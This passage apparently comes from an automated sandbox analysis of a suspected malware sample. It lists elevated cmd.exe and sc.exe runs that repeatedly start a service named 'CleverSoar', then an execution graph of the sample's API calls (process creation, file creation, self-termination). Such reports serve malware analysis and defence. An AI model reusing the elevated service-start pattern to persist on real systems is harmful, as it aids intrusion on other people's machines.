                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:99
                            Start time:07:02:18
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:100
                            Start time:07:02:18
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:101
                            Start time:07:02:18
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:102
                            Start time:07:02:18
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:103
                            Start time:07:02:18
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:104
                            Start time:07:02:18
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:105
                            Start time:07:02:19
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:106
                            Start time:07:02:19
                            Start date:24/12/2024
                            Path:C:\Windows\System32\sc.exe
                            Wow64 process (32bit):false
                            Commandline:sc start CleverSoar
                            Imagebase:0x7ff6499c0000
                            File size:72'192 bytes
                            MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:107
                            Start time:07:02:19
                            Start date:24/12/2024
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff6ee680000
                            File size:862'208 bytes
                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            General

                            Target ID:108
                            Start time:07:02:19
                            Start date:24/12/2024
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:cmd /c start sc start CleverSoar
                            Imagebase:0x7ff6486c0000
                            File size:289'792 bytes
                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Has exited:true

                            Disassembly

                            Reset < >

                              Execution Graph

                              Execution Coverage:1.6%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:15.8%
                              Total number of Nodes:779
                              Total number of Limit Nodes:10
                              execution_graph 100106 6c904a27 100108 6c904a5d _strlen 100106->100108 100107 6c91639e 100238 6ca806a0 18 API calls 2 library calls 100107->100238 100108->100107 100109 6c905b58 100108->100109 100110 6c905b6f 100108->100110 100114 6c905b09 _Yarn 100108->100114 100224 6ca76fb3 100109->100224 100113 6ca76fb3 std::_Facet_Register 4 API calls 100110->100113 100113->100114 100197 6ca6b430 100114->100197 100117 6c9163b2 100239 6c8f15e0 18 API calls std::ios_base::_Ios_base_dtor 100117->100239 100118 6c905bad std::ios_base::_Ios_base_dtor 100118->100107 100121 6c909ba5 std::ios_base::_Ios_base_dtor _Yarn _strlen 100118->100121 100203 6ca75560 CreateProcessA 100118->100203 100119 6ca76fb3 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100119->100121 100120 6ca6b430 2 API calls 100120->100121 100121->100107 100121->100119 100121->100120 100122 6c90a292 Sleep 100121->100122 100140 6c90e619 100121->100140 100196 6c909bb1 std::ios_base::_Ios_base_dtor _Yarn _strlen 100122->100196 100123 6c906624 100125 6ca76fb3 std::_Facet_Register 4 API calls 100123->100125 100124 6c90660d 100126 6ca76fb3 std::_Facet_Register 4 API calls 100124->100126 100132 6c9065bc _Yarn _strlen 100125->100132 100126->100132 100127 6c9061cb _strlen 100127->100107 100127->100123 100127->100124 100127->100132 100128 6ca75560 CreateProcessA WaitForSingleObject CloseHandle CloseHandle 100128->100196 100129 6c909bbd GetCurrentProcess TerminateProcess 100129->100121 100131 6c9164f8 100132->100117 100133 6c906970 100132->100133 100134 6c906989 100132->100134 100137 6c906920 _Yarn 100132->100137 100135 6ca76fb3 std::_Facet_Register 4 API calls 100133->100135 100136 6ca76fb3 std::_Facet_Register 4 API calls 100134->100136 100135->100137 100136->100137 100207 6ca75ed0 100137->100207 100139 6c90f243 CreateFileA 100155 6c90f2a7 100139->100155 100140->100139 100141 6c9069d6 std::ios_base::_Ios_base_dtor _strlen 100141->100107 100142 6c906dd2 100141->100142 100143 6c906dbb 100141->100143 100154 6c906d69 _Yarn _strlen 100141->100154 100145 6ca76fb3 std::_Facet_Register 4 API calls 100142->100145 100144 6ca76fb3 std::_Facet_Register 4 API calls 100143->100144 100144->100154 100145->100154 100146 6c9102ca 100147 6c907440 100150 6ca76fb3 std::_Facet_Register 4 API calls 100147->100150 100148 6c907427 100149 6ca76fb3 std::_Facet_Register 4 API calls 100148->100149 100151 6c9073da _Yarn 100149->100151 100150->100151 100153 6ca75ed0 104 API calls 100151->100153 100152 6c9102ac GetCurrentProcess TerminateProcess 100152->100146 100156 6c90748d std::ios_base::_Ios_base_dtor _strlen 100153->100156 100154->100117 100154->100147 100154->100148 100154->100151 100155->100146 100155->100152 100156->100107 100157 6c907991 100156->100157 100158 6c9079a8 100156->100158 100162 6c907940 _Yarn _strlen 100156->100162 100160 6ca76fb3 std::_Facet_Register 4 API calls 100157->100160 100159 6ca76fb3 std::_Facet_Register 4 API calls 100158->100159 100159->100162 100160->100162 100161 6ca75ed0 104 API calls 100161->100196 100162->100117 100163 6c907de2 100162->100163 100164 6c907dc9 100162->100164 100167 6c907d7c _Yarn 100162->100167 100166 6ca76fb3 std::_Facet_Register 4 API calls 100163->100166 100165 6ca76fb3 std::_Facet_Register 4 API calls 100164->100165 100165->100167 100166->100167 100168 6ca75ed0 104 API calls 100167->100168 100169 6c907e2f std::ios_base::_Ios_base_dtor _strlen 100168->100169 100169->100107 100170 6c9085a8 100169->100170 100171 6c9085bf 100169->100171 100174 6c908556 _Yarn _strlen 100169->100174 100172 6ca76fb3 std::_Facet_Register 4 API calls 100170->100172 100173 6ca76fb3 std::_Facet_Register 4 API calls 100171->100173 100172->100174 100173->100174 100174->100117 100175 6c908983 100174->100175 100176 6c90896a 100174->100176 100179 6c90891d _Yarn 100174->100179 100178 6ca76fb3 std::_Facet_Register 4 API calls 100175->100178 100177 6ca76fb3 std::_Facet_Register 4 API calls 100176->100177 100177->100179 100178->100179 100180 6ca75ed0 104 API calls 100179->100180 100184 6c9089d0 std::ios_base::_Ios_base_dtor _strlen 100180->100184 100181 6ca76fb3 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100181->100196 100182 6c908f36 100186 6ca76fb3 std::_Facet_Register 4 API calls 100182->100186 100183 6c908f1f 100185 6ca76fb3 std::_Facet_Register 4 API calls 100183->100185 100184->100107 100184->100182 100184->100183 100187 6c908ecd _Yarn _strlen 100184->100187 100185->100187 100186->100187 100187->100117 100188 6c909354 100187->100188 100189 6c90936d 100187->100189 100192 6c909307 _Yarn 100187->100192 100190 6ca76fb3 std::_Facet_Register 4 API calls 100188->100190 100191 6ca76fb3 std::_Facet_Register 4 API calls 100189->100191 100190->100192 100191->100192 100193 6ca75ed0 104 API calls 100192->100193 100195 6c9093ba std::ios_base::_Ios_base_dtor 100193->100195 100194 6ca75560 4 API calls 100194->100121 100195->100107 100195->100194 100196->100107 100196->100117 100196->100121 100196->100128 100196->100129 100196->100161 100196->100181 100198 6ca6b446 FindFirstFileA 100197->100198 100199 6ca6b444 100197->100199 100202 6ca6b480 100198->100202 100199->100198 100200 6ca6b4e2 100200->100118 100201 6ca6b484 FindClose 100201->100202 100202->100200 100202->100201 100204 6ca7563a 100203->100204 100205 6ca755f0 WaitForSingleObject CloseHandle CloseHandle 100204->100205 100206 6ca75653 100204->100206 100205->100204 100206->100127 100208 6ca75f27 100207->100208 100240 6ca76560 100208->100240 100210 6ca75f38 100259 6c916ba0 100210->100259 100212 6ca75fd7 100311 6c93e010 100212->100311 100214 6ca7600f std::ios_base::_Ios_base_dtor 100217 6c93e010 67 API calls 100214->100217 100216 6ca75f5c 100216->100212 100218 6ca75fc4 100216->100218 100278 6ca768b0 100216->100278 100286 6c952370 100216->100286 100219 6ca76052 std::ios_base::_Ios_base_dtor 100217->100219 100296 6ca76100 100218->100296 100219->100141 100222 6ca75fcc 100317 6c917090 100222->100317 100226 6ca76fb8 100224->100226 100225 6ca76fd2 100225->100114 100226->100225 100229 6ca76fd4 std::_Facet_Register 100226->100229 100776 6ca7f584 EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100226->100776 100228 6ca77e33 std::_Facet_Register 100780 6ca798e9 RaiseException 100228->100780 100229->100228 100777 6ca798e9 RaiseException 100229->100777 100232 6ca7862c IsProcessorFeaturePresent 100237 6ca78651 100232->100237 100233 6ca77df3 100778 6ca798e9 RaiseException 100233->100778 100235 6ca77e13 std::invalid_argument::invalid_argument 100779 6ca798e9 RaiseException 100235->100779 100237->100114 100239->100131 100241 6ca76595 100240->100241 100330 6c942020 100241->100330 100243 6ca76636 100244 6ca76fb3 std::_Facet_Register 4 API calls 100243->100244 100245 6ca7666e 100244->100245 100347 6ca77897 100245->100347 100247 6ca76682 100359 6c941d90 100247->100359 100250 6ca7675c 100250->100210 100252 6ca76796 100367 6c9426e0 24 API calls 4 library calls 100252->100367 100254 6ca767a8 100368 6ca798e9 RaiseException 100254->100368 100256 6ca767bd 100257 6c93e010 67 API calls 100256->100257 100258 6ca767cf 100257->100258 100258->100210 100260 6c916bd5 100259->100260 100261 6c942020 52 API calls 100260->100261 100262 6c916c68 100261->100262 100263 6ca76fb3 std::_Facet_Register 4 API calls 100262->100263 100264 6c916ca0 100263->100264 100265 6ca77897 43 API calls 100264->100265 100266 6c916cb4 100265->100266 100267 6c941d90 89 API calls 100266->100267 100269 6c916d5d 100267->100269 100268 6c916d8e 100268->100216 100269->100268 100678 6c942250 30 API calls 100269->100678 100271 6c916dc8 100679 6c9426e0 24 API calls 4 library calls 100271->100679 100273 6c916dda 100680 6ca798e9 RaiseException 100273->100680 100275 6c916def 100276 6c93e010 67 API calls 100275->100276 100277 6c916e0f 100276->100277 100277->100216 100279 6ca768fd 100278->100279 100681 6ca76b10 100279->100681 100281 6ca769ec 100281->100216 100284 6ca76915 100284->100281 100699 6c942250 30 API calls 100284->100699 100700 6c9426e0 24 API calls 4 library calls 100284->100700 100701 6ca798e9 RaiseException 100284->100701 100287 6c9523af 100286->100287 100288 6c9523c3 100287->100288 100710 6c943560 32 API calls std::_Xinvalid_argument 100287->100710 100291 6c95247e 100288->100291 100712 6c942250 30 API calls 100288->100712 100713 6c9426e0 24 API calls 4 library calls 100288->100713 100714 6ca798e9 RaiseException 100288->100714 100294 6c952491 100291->100294 100711 6c9437e0 32 API calls std::_Xinvalid_argument 100291->100711 100294->100216 100297 6ca7610e 100296->100297 100300 6ca76141 100296->100300 100715 6c9401f0 100297->100715 100298 6ca761f3 100298->100222 100300->100298 100719 6c942250 30 API calls 100300->100719 100303 6ca81088 67 API calls 100303->100300 100304 6ca7621e 100720 6c942340 24 API calls 100304->100720 100306 6ca7622e 100721 6ca798e9 RaiseException 100306->100721 100308 6ca76239 100309 6c93e010 67 API calls 100308->100309 100310 6ca76292 std::ios_base::_Ios_base_dtor 100309->100310 100310->100222 100312 6c93e04b 100311->100312 100313 6c93e0a3 100312->100313 100314 6c9401f0 64 API calls 100312->100314 100313->100214 100315 6c93e098 100314->100315 100316 6ca81088 67 API calls 100315->100316 100316->100313 100318 6c91709e 100317->100318 100322 6c9170d1 100317->100322 100319 6c9401f0 64 API calls 100318->100319 100321 6c9170c4 100319->100321 100320 6c917183 100320->100212 100323 6ca81088 67 API calls 100321->100323 100322->100320 100773 6c942250 30 API calls 100322->100773 100323->100322 100325 6c9171ae 100774 6c942340 24 API calls 100325->100774 100327 6c9171be 100775 6ca798e9 RaiseException 100327->100775 100329 6c9171c9 100331 6ca76fb3 std::_Facet_Register 4 API calls 100330->100331 100332 6c94207e 100331->100332 100333 6ca77897 43 API calls 100332->100333 100334 6c942092 100333->100334 100369 6c942f60 42 API calls 4 library calls 100334->100369 100336 6c94210d 100339 6c942120 100336->100339 100370 6ca774fe 9 API calls 2 library calls 100336->100370 100337 6c9420c8 100337->100336 100338 6c942136 100337->100338 100371 6c942250 30 API calls 100338->100371 100339->100243 100342 6c94215b 100372 6c942340 24 API calls 100342->100372 100344 6c942171 100373 6ca798e9 RaiseException 100344->100373 100346 6c94217c 100346->100243 100348 6ca778a3 __EH_prolog3 100347->100348 100374 6ca77425 100348->100374 100353 6ca778c1 100388 6ca7792a 39 API calls std::locale::_Setgloballocale 100353->100388 100355 6ca7791c 100355->100247 100356 6ca778c9 100389 6ca77721 HeapFree GetLastError _Yarn 100356->100389 100358 6ca778df 100380 6ca77456 100358->100380 100360 6c941dc7 100359->100360 100361 6c941ddc 100359->100361 100360->100250 100366 6c942250 30 API calls 100360->100366 100394 6ca779b7 100361->100394 100365 6c941e82 100366->100252 100367->100254 100368->100256 100369->100337 100370->100339 100371->100342 100372->100344 100373->100346 100375 6ca77434 100374->100375 100376 6ca7743b 100374->100376 100390 6ca8093d 6 API calls std::_Lockit::_Lockit 100375->100390 100378 6ca77439 100376->100378 100391 6ca78afb EnterCriticalSection 100376->100391 100378->100358 100387 6ca777a0 6 API calls 2 library calls 100378->100387 100381 6ca8094b 100380->100381 100382 6ca77460 100380->100382 100393 6ca80926 LeaveCriticalSection 100381->100393 100386 6ca77473 100382->100386 100392 6ca78b09 LeaveCriticalSection 100382->100392 100385 6ca80952 100385->100355 100386->100355 100387->100353 100388->100356 100389->100358 100390->100378 100391->100378 100392->100386 100393->100385 100395 6ca779c0 100394->100395 100396 6c941dea 100395->100396 100403 6ca802ba 100395->100403 100396->100360 100402 6ca7cad3 18 API calls __fassign 100396->100402 100398 6ca77a0c 100398->100396 100414 6ca7ffc8 65 API calls 100398->100414 100400 6ca77a27 100400->100396 100415 6ca81088 100400->100415 100402->100365 100404 6ca802c5 __wsopen_s 100403->100404 100405 6ca802d8 100404->100405 100406 6ca802f8 100404->100406 100440 6ca80690 18 API calls __fassign 100405->100440 100410 6ca802e8 100406->100410 100426 6ca8b37c 100406->100426 100410->100398 100414->100400 100416 6ca81094 __wsopen_s 100415->100416 100417 6ca8109e 100416->100417 100418 6ca810b3 100416->100418 100564 6ca80690 18 API calls __fassign 100417->100564 100419 6ca810ae 100418->100419 100549 6ca7cb19 EnterCriticalSection 100418->100549 100419->100396 100421 6ca810d0 100550 6ca8110c 100421->100550 100424 6ca810db 100565 6ca81102 LeaveCriticalSection 100424->100565 100427 6ca8b388 __wsopen_s 100426->100427 100442 6ca8090f EnterCriticalSection 100427->100442 100429 6ca8b396 100443 6ca8b420 100429->100443 100434 6ca8b4e2 100435 6ca8b601 100434->100435 100467 6ca8b684 100435->100467 100438 6ca8033c 100441 6ca80365 LeaveCriticalSection 100438->100441 100440->100410 100441->100410 100442->100429 100444 6ca8b443 100443->100444 100445 6ca8b49b 100444->100445 100452 6ca8b3a3 100444->100452 100460 6ca7cb19 EnterCriticalSection 100444->100460 100461 6ca7cb2d LeaveCriticalSection 100444->100461 100462 6ca87755 EnterCriticalSection LeaveCriticalSection HeapAlloc __Getctype std::_Facet_Register 100445->100462 100447 6ca8b4a4 100463 6ca84d2b HeapFree GetLastError __dosmaperr 100447->100463 100450 6ca8b4ad 100450->100452 100464 6ca8718f 6 API calls std::_Lockit::_Lockit 100450->100464 100457 6ca8b3dc 100452->100457 100453 6ca8b4cc 100465 6ca7cb19 EnterCriticalSection 100453->100465 100456 6ca8b4df 100456->100452 100466 6ca80926 LeaveCriticalSection 100457->100466 100459 6ca80313 100459->100410 100459->100434 100460->100444 100461->100444 100462->100447 100463->100450 100464->100453 100465->100456 100466->100459 100468 6ca8b6a3 100467->100468 100469 6ca8b6b6 100468->100469 100473 6ca8b6cb 100468->100473 100483 6ca80690 18 API calls __fassign 100469->100483 100471 6ca8b617 100471->100438 100480 6ca9454e 100471->100480 100478 6ca8b7eb 100473->100478 100484 6ca94418 37 API calls __fassign 100473->100484 100475 6ca8b83b 100475->100478 100485 6ca94418 37 API calls __fassign 100475->100485 100477 6ca8b859 100477->100478 100486 6ca94418 37 API calls __fassign 100477->100486 100478->100471 100487 6ca80690 18 API calls __fassign 100478->100487 100488 6ca94906 100480->100488 100483->100471 100484->100475 100485->100477 100486->100478 100487->100471 100490 6ca94912 __wsopen_s 100488->100490 100489 6ca94919 100506 6ca80690 18 API calls __fassign 100489->100506 100490->100489 100491 6ca94944 100490->100491 100497 6ca9456e 100491->100497 100496 6ca94569 100496->100438 100508 6ca80c3b 100497->100508 100502 6ca945a4 100505 6ca945d6 100502->100505 100548 6ca84d2b HeapFree GetLastError __dosmaperr 100502->100548 100507 6ca9499b LeaveCriticalSection __wsopen_s 100505->100507 100506->100496 100507->100496 100509 6ca7c25b __fassign 37 API calls 100508->100509 100510 6ca80c4d 100509->100510 100511 6ca80c5f 100510->100511 100512 6ca86f45 __wsopen_s 5 API calls 100510->100512 100513 6ca7c366 100511->100513 100512->100511 100514 6ca7c3be __wsopen_s GetLastError HeapFree GetLastError MultiByteToWideChar 100513->100514 100515 6ca7c37e 100514->100515 100515->100502 100516 6ca945dc 100515->100516 100517 6ca94a5c __wsopen_s 18 API calls 100516->100517 100518 6ca945f9 100517->100518 100519 6ca91b7c __wsopen_s 14 API calls 100518->100519 100523 6ca9460e __dosmaperr 100518->100523 100520 6ca9462c 100519->100520 100521 6ca949c7 __wsopen_s CreateFileW 100520->100521 100520->100523 100528 6ca94685 100521->100528 100522 6ca94702 GetFileType 100524 6ca9470d GetLastError 100522->100524 100525 6ca94754 100522->100525 100523->100502 100527 6ca7ff62 __dosmaperr 100524->100527 100531 6ca91d20 __wsopen_s SetStdHandle 100525->100531 100526 6ca946d7 GetLastError 100526->100523 100529 6ca9471b CloseHandle 100527->100529 100528->100522 100528->100526 100530 6ca949c7 __wsopen_s CreateFileW 100528->100530 100529->100523 100545 6ca94744 100529->100545 100532 6ca946ca 100530->100532 100533 6ca94775 100531->100533 100532->100522 100532->100526 100534 6ca947c1 100533->100534 100536 6ca94bd6 __wsopen_s 70 API calls 100533->100536 100535 6ca94c80 __wsopen_s 70 API calls 100534->100535 100538 6ca947c8 100534->100538 100537 6ca947f6 100535->100537 100536->100534 100537->100538 100539 6ca94804 100537->100539 100540 6ca8be95 __wsopen_s 21 API calls 100538->100540 100539->100523 100541 6ca94880 CloseHandle 100539->100541 100540->100523 100542 6ca949c7 __wsopen_s CreateFileW 100541->100542 100543 6ca948ab 100542->100543 100544 6ca948b5 GetLastError 100543->100544 100543->100545 100546 6ca948c1 __dosmaperr 100544->100546 100545->100523 100547 6ca91c8f __wsopen_s SetStdHandle 100546->100547 100547->100545 100548->100505 100549->100421 100551 6ca81119 100550->100551 100552 6ca8112e 100550->100552 100588 6ca80690 18 API calls __fassign 100551->100588 100556 6ca81129 100552->100556 100566 6ca81229 100552->100566 100556->100424 100560 6ca81151 100581 6ca8be08 100560->100581 100562 6ca81157 100562->100556 100589 6ca84d2b HeapFree GetLastError __dosmaperr 100562->100589 100564->100419 100565->100419 100567 6ca81143 100566->100567 100568 6ca81241 100566->100568 100572 6ca88cae 100567->100572 100568->100567 100569 6ca8a1d0 18 API calls 100568->100569 100570 6ca8125f 100569->100570 100590 6ca8c0dc 100570->100590 100573 6ca88cc5 100572->100573 100575 6ca8114b 100572->100575 100573->100575 100646 6ca84d2b HeapFree GetLastError __dosmaperr 100573->100646 100576 6ca8a1d0 100575->100576 100577 6ca8a1dc 100576->100577 100578 6ca8a1f1 100576->100578 100647 6ca80690 18 API calls __fassign 100577->100647 100578->100560 100580 6ca8a1ec 100580->100560 100582 6ca8be2e 100581->100582 100586 6ca8be19 __dosmaperr 100581->100586 100583 6ca8be55 100582->100583 100584 6ca8be77 __dosmaperr 100582->100584 100648 6ca8bf31 100583->100648 100656 6ca80690 18 API calls __fassign 100584->100656 100586->100562 100588->100556 100589->100556 100591 6ca8c0e8 __wsopen_s 100590->100591 100592 6ca8c13a 100591->100592 100594 6ca8c1a3 __dosmaperr 100591->100594 100597 6ca8c0f0 __dosmaperr 100591->100597 100601 6ca91f00 EnterCriticalSection 100592->100601 100631 6ca80690 18 API calls __fassign 100594->100631 100595 6ca8c140 100599 6ca8c15c __dosmaperr 100595->100599 100602 6ca8c1ce 100595->100602 100597->100567 100630 6ca8c19b LeaveCriticalSection __wsopen_s 100599->100630 100601->100595 100603 6ca8c1f0 100602->100603 100629 6ca8c20c __dosmaperr 100602->100629 100604 6ca8c244 100603->100604 100606 6ca8c1f4 __dosmaperr 100603->100606 100605 6ca8c257 100604->100605 100640 6ca8b1d9 20 API calls __wsopen_s 100604->100640 100632 6ca8c3b0 100605->100632 100639 6ca80690 18 API calls __fassign 100606->100639 100611 6ca8c2ac 100613 6ca8c2c0 100611->100613 100614 6ca8c305 WriteFile 100611->100614 100612 6ca8c26d 100615 6ca8c271 100612->100615 100616 6ca8c296 100612->100616 100617 6ca8c2cb 100613->100617 100618 6ca8c2f5 100613->100618 100619 6ca8c329 GetLastError 100614->100619 100614->100629 100615->100629 100641 6ca8c7cb 6 API calls __wsopen_s 100615->100641 100642 6ca8c421 43 API calls 5 library calls 100616->100642 100621 6ca8c2d0 100617->100621 100622 6ca8c2e5 100617->100622 100645 6ca8c833 7 API calls 2 library calls 100618->100645 100619->100629 100625 6ca8c2d5 100621->100625 100621->100629 100644 6ca8c9f7 8 API calls 3 library calls 100622->100644 100643 6ca8c90e 7 API calls 2 library calls 100625->100643 100627 6ca8c2e3 100627->100629 100629->100599 100630->100597 100631->100597 100633 6ca91f55 __wsopen_s 18 API calls 100632->100633 100634 6ca8c3c1 100633->100634 100635 6ca8c268 100634->100635 100636 6ca84f22 __Getctype 37 API calls 100634->100636 100635->100611 100635->100612 100637 6ca8c3e4 100636->100637 100637->100635 100638 6ca8c3fe GetConsoleMode 100637->100638 100638->100635 100639->100629 100640->100605 100641->100629 100642->100629 100643->100627 100644->100627 100645->100627 100646->100575 100647->100580 100649 6ca8bf3d __wsopen_s 100648->100649 100657 6ca91f00 EnterCriticalSection 100649->100657 100651 6ca8bf4b 100653 6ca8bf78 100651->100653 100658 6ca8be95 100651->100658 100671 6ca8bfb1 LeaveCriticalSection __wsopen_s 100653->100671 100655 6ca8bf9a 100655->100586 100656->100586 100657->100651 100672 6ca91b12 100658->100672 100660 6ca8beab 100677 6ca91c8f SetStdHandle __dosmaperr __wsopen_s 100660->100677 100662 6ca8bea5 100662->100660 100664 6ca91b12 __wsopen_s 18 API calls 100662->100664 100670 6ca8bedd 100662->100670 100663 6ca91b12 __wsopen_s 18 API calls 100666 6ca8bee9 CloseHandle 100663->100666 100665 6ca8bed4 100664->100665 100667 6ca91b12 __wsopen_s 18 API calls 100665->100667 100666->100660 100668 6ca8bef5 GetLastError 100666->100668 100667->100670 100668->100660 100669 6ca8bf03 __dosmaperr 100669->100653 100670->100660 100670->100663 100671->100655 100673 6ca91b34 __dosmaperr 100672->100673 100674 6ca91b1f __dosmaperr 100672->100674 100675 6ca91b59 100673->100675 100676 6ca80690 __fassign 18 API calls 100673->100676 100674->100662 100675->100662 100676->100674 100677->100669 100678->100271 100679->100273 100680->100275 100682 6ca76b4c 100681->100682 100683 6ca76b78 100681->100683 100697 6ca76b71 100682->100697 100704 6c942250 30 API calls 100682->100704 100688 6ca76b89 100683->100688 100702 6c943560 32 API calls std::_Xinvalid_argument 100683->100702 100686 6ca76d58 100705 6c942340 24 API calls 100686->100705 100688->100697 100703 6c942f60 42 API calls 4 library calls 100688->100703 100689 6ca76d67 100706 6ca798e9 RaiseException 100689->100706 100693 6ca76d97 100708 6c942340 24 API calls 100693->100708 100695 6ca76dad 100709 6ca798e9 RaiseException 100695->100709 100697->100284 100698 6ca76bc3 100698->100697 100707 6c942250 30 API calls 100698->100707 100699->100284 100700->100284 100701->100284 100702->100688 100703->100698 100704->100686 100705->100689 100706->100698 100707->100693 100708->100695 100709->100697 100710->100288 100711->100294 100712->100288 100713->100288 100714->100288 100716 6c94022e 100715->100716 100717 6c9404d6 100716->100717 100722 6ca81d4b 100716->100722 100717->100303 100719->100304 100720->100306 100721->100308 100723 6ca81d59 100722->100723 100724 6ca81d76 100722->100724 100723->100724 100725 6ca81d7a 100723->100725 100728 6ca81d66 100723->100728 100724->100716 100730 6ca81f72 100725->100730 100738 6ca80690 18 API calls __fassign 100728->100738 100731 6ca81f7e __wsopen_s 100730->100731 100739 6ca7cb19 EnterCriticalSection 100731->100739 100733 6ca81f8c 100740 6ca81f2f 100733->100740 100737 6ca81dac 100737->100716 100738->100724 100739->100733 100748 6ca88b16 100740->100748 100746 6ca81f69 100747 6ca81fc1 LeaveCriticalSection 100746->100747 100747->100737 100749 6ca8a1d0 18 API calls 100748->100749 100750 6ca88b27 100749->100750 100765 6ca91f55 100750->100765 100752 6ca81f43 100755 6ca81dae 100752->100755 100753 6ca88b2d __wsopen_s 100753->100752 100770 6ca84d2b HeapFree GetLastError __dosmaperr 100753->100770 100757 6ca81dc0 100755->100757 100759 6ca81dde 100755->100759 100756 6ca81dce 100772 6ca80690 18 API calls __fassign 100756->100772 100757->100756 100757->100759 100762 6ca81df6 _Yarn 100757->100762 100764 6ca88bc9 62 API calls 100759->100764 100760 6ca81229 62 API calls 100760->100762 100761 6ca8a1d0 18 API calls 100761->100762 100762->100759 100762->100760 100762->100761 100763 6ca8c0dc __wsopen_s 62 API calls 100762->100763 100763->100762 100764->100746 100766 6ca91f6f 100765->100766 100767 6ca91f62 100765->100767 100768 6ca91f7b 100766->100768 100771 6ca80690 18 API calls __fassign 100766->100771 100767->100753 100768->100753 100770->100752 100771->100767 100772->100759 100773->100325 100774->100327 100775->100329 100776->100226 100777->100233 100778->100235 100779->100228 100780->100232 100781 6ca7f4af 100782 6ca7f4bb __wsopen_s 100781->100782 100783 6ca7f4c2 GetLastError ExitThread 100782->100783 100784 6ca7f4cf 100782->100784 100793 6ca84f22 GetLastError 100784->100793 100789 6ca7f4eb 100827 6ca7f41a 16 API calls 2 library calls 100789->100827 100792 6ca7f50d 100794 6ca84f39 100793->100794 100795 6ca84f3f 100793->100795 100828 6ca87093 6 API calls std::_Lockit::_Lockit 100794->100828 100799 6ca84f45 SetLastError 100795->100799 100829 6ca870d2 6 API calls std::_Lockit::_Lockit 100795->100829 100798 6ca84f5d 100798->100799 100800 6ca84f61 100798->100800 100804 6ca84fd9 100799->100804 100805 6ca7f4d4 100799->100805 100830 6ca87755 EnterCriticalSection LeaveCriticalSection HeapAlloc __Getctype std::_Facet_Register 100800->100830 100803 6ca84f6d 100806 6ca84f8c 100803->100806 100807 6ca84f75 100803->100807 100836 6ca81039 37 API calls std::locale::_Setgloballocale 100804->100836 100821 6ca8a2d6 100805->100821 100833 6ca870d2 6 API calls std::_Lockit::_Lockit 100806->100833 100831 6ca870d2 6 API calls std::_Lockit::_Lockit 100807->100831 100812 6ca84f98 100813 6ca84f9c 100812->100813 100814 6ca84fad 100812->100814 100834 6ca870d2 6 API calls std::_Lockit::_Lockit 100813->100834 100835 6ca84d2b HeapFree GetLastError __dosmaperr 100814->100835 100817 6ca84f89 